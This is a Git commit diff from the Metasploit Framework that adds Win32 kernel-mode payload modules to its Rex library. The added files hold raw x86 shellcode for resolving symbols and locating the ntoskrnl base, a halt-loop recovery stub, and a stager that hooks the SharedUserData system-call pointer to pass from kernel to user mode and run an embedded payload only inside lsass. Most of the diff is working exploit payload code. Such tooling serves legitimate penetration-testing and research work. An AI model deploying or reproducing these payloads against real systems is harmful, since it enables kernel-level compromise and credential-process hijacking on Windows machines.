starting integration of kernel-mode payloads

git-svn-id: file:///home/svn/framework3/trunk@4043 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Matt Miller 2006-10-16 21:40:38 +00:00
parent c12e3f2992
commit fa14510b78
10 changed files with 263 additions and 0 deletions

View File

@ -11,6 +11,8 @@ module Msf
###
class Payload < Msf::Module
require 'rex/payloads'
require 'msf/core/payload/single'
require 'msf/core/payload/generic'
require 'msf/core/payload/stager'

1
lib/rex/payloads.rb Normal file
View File

@ -0,0 +1 @@
require 'rex/payloads/win32'

View File

@ -0,0 +1,2 @@
require 'rex/payloads/win32/common'
require 'rex/payloads/win32/kernel'

View File

@ -0,0 +1,26 @@
module Rex
module Payloads
module Win32
module Common
#
# Returns a stub that resolves the location of a symbol and then
# calls it. Refer to the following link for more details:
#
# http://uninformed.org/index.cgi?v=3&a=4&p=10
#
def self.resolve_call_sym
"\x60\x31\xc9\x8b\x7d\x3c\x8b\x7c\x3d\x78\x01\xef\x8b" +
"\x57\x20\x01\xea\x8b\x34\x8a\x01\xee\x31\xc0\x99\xac" +
"\xc1\xca\x0d\x01\xc2\x84\xc0\x75\xf6\x41\x66\x39\xda" +
"\x75\xe3\x49\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" +
"\x5f\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" +
"\x61\xff\xe0"
end
end
end
end
end

View File

@ -0,0 +1,53 @@
module Rex
module Payloads
module Win32
require 'rex/payloads/win32/kernel/common'
require 'rex/payloads/win32/kernel/recovery'
require 'rex/payloads/win32/kernel/stager'
require 'rex/payloads/win32/kernel/migration'
module Kernel
#
# Constructs a kernel-mode payload using the supplied options. The options
# can be:
#
# Recovery : The recovery method to use, such as 'spin'.
# Stager : The stager method to use, such as 'sud_syscall_hook'.
# RecoveryStub : The recovery stub that should be used, if any.
# UserModeStub : The user-mode payload to execute, if any.
# KernelModeStub: The kernel-mode payload to execute, if any.
#
def self.construct(opts = {})
payload = nil
# Generate the recovery stub
if opts['Recovery'] and Kernel::Recovery.respond_to?(opts['Recovery'])
opts['RecoveryStub'] = Kernel::Recovery.send(opts['Recovery'], opts)
end
# Append supplied recovery stub information in case there is some
# context specific recovery that must be done.
if opts['AppendRecoveryStub']
opts['RecoveryStub'] = (opts['RecoveryStub'] || '') + opts['AppendRecoveryStub']
end
# Generate the stager
if opts['Stager'] and Kernel::Stager.respond_to?(opts['Stager'])
payload = Kernel::Stager.send(opts['Stager'], opts)
# Or, generate the migrator
elsif opts['Migrator'] and Kernel::Migration.respond_to?(opts['Migrator'])
payload = Kernel::Migration.send(opts['Migrator'], opts)
else
raise ArgumentError, "A stager or a migrator must be specified."
end
payload
end
end
end
end
end

View File

@ -0,0 +1,54 @@
module Rex
module Payloads
module Win32
module Kernel
require 'rex/payloads/win32/common'
#
# This class provides common methods that may be shared across more than
# one kernel-mode payload. Many of these are from the following paper:
#
# http://www.uninformed.org/?v=3&a=4&t=sumry
#
module Common
#
# Returns a stub that will find the base address of ntoskrnl and
# place it in eax. This method works by using an IDT entry. Credit
# to eEye.
#
def self.find_nt_idt_eeye
"\x8b\x35\x38\xf0\xdf\xff\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7"
end
#
# Returns a stub that will find the base address of ntoskrnl and
# place it in eax. This method uses a pointer found in KdVersionBlock.
#
def self.find_nt_kdversionblock
"\x31\xc0\x64\x8b\x40\x34\x8b\x40\x10"
end
#
# Returns a stub that will find the base address of ntoskrnl and
# place it in eax. This method uses a pointer found in the
# processor control region as a starting point.
#
def self.find_nt_pcr
"\xa1\x2c\xf1\xdf\xff\x66\x25\x01\xf0\x48\x66\x81\x38\x4d\x5a\x75\xf4"
end
#
# Alias for resolving symbols.
#
def self.resolve_call_sym
Rex::Payloads::Win32::Common.resolve_call_sym
end
end
end
end
end
end

View File

@ -0,0 +1,12 @@
module Rex
module Payloads
module Win32
module Kernel
module Migration
end
end
end
end
end

View File

@ -0,0 +1,33 @@
module Rex
module Payloads
module Win32
module Kernel
#
# Recovery stubs are responsible for ensuring that the kernel does not crash.
# They must 'recover' after the exploit has succeeded, either by consuming
# the thread or continuing it on with its normal execution. Recovery stubs
# will often be exploit dependent.
#
module Recovery
#
# The default recovery method is to spin the thread
#
def self.default
spin
end
#
# Infinite 'hlt' loop.
#
def self.spin
"\xf4\xeb\xfd"
end
end
end
end
end
end

View File

@ -0,0 +1,67 @@
module Rex
module Payloads
module Win32
module Kernel
#
# Stagers are responsible for reading in another payload and executing it.
# The reading in of the payload may actually be as simple as copying it to
# another location. The executing of it may be done either directly or
# indirectly.
#
module Stager
#
# XP SP2/2K3 SP1 ONLY
#
# Returns a kernel-mode stager that transitions from r0 to r3 by placing
# code in an unused portion of SharedUserData and then pointing the
# SystemCall attribute to that unused portion. This has the effect of
# causing the custom code to be called every time a user-mode process
# tries to make a system call. The returned payload also checks to make
# sure that it's running in the context of lsass before actually running
# the embedded payload.
#
def self.sud_syscall_hook(opts = {})
r0_recovery = opts['RecoveryStub'] || Recovery.default
r3_payload = opts['UserModeStub'] || ''
r3_prefix = _run_only_in_lsass_stub("\xff\x25\x08\x03\xfe\x7f")
r3_size = ((r3_prefix.length + r3_payload.length + 3) & ~0x3) / 4
r0_stager =
"\xeb" + [0x1d + r0_recovery.length].pack('C') +
"\xbb\x01\x03\xdf\xff\x4b\xfc\x8d\x7b\x7c\x5e" +
"\x6a" + [r3_size].pack('C') + "\x59\xf3\xa5\x8b\x03" +
"\x8d\x4b\x08\x89\x01\xc7\x03\x7c\x03\xfe\x7f" +
r0_recovery +
"\xe8" + [0xffffffde - r0_recovery.length].pack('V') +
r3_prefix +
r3_payload
return r0_stager
end
protected
#
# This stub is used by stagers to check to see if the code is
# runing in the context of lsass. If it isn't, it runs the code
# specified by append. Otherwise, it jumps past that code and
# into what should be the expected r3 payload to execute. This
# stub also makes sure that the payload does not run more than
# once.
#
def self._run_only_in_lsass_stub(append = '')
"\x60\xbb\x3c\x06\x02\x00\x8b\x0b\x03\x4b\x03\x81\xf9" +
"\x6c\x61\x73\x73\x75\x13\x6a\x30\x5b\x64\x8b\x1b\x43" +
"\x43\x43\x80\x3b\x01\x74\x05\xc6\x03\x01" +
"\xeb" + [append.length + 1].pack('C') +
"\x61" + append
end
end
end
end
end
end

13
tools/msf_irb_shell.rb Executable file
View File

@ -0,0 +1,13 @@
#!/usr/bin/env ruby
msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
$:.unshift(File.join(File.dirname(msfbase), '..', 'lib'))
require 'rex'
require 'msf/core'
require 'msf/base'
require 'msf/ui'
framework = Msf::Simple::Framework.create
Rex::Ui::Text::IrbShell.new(binding).run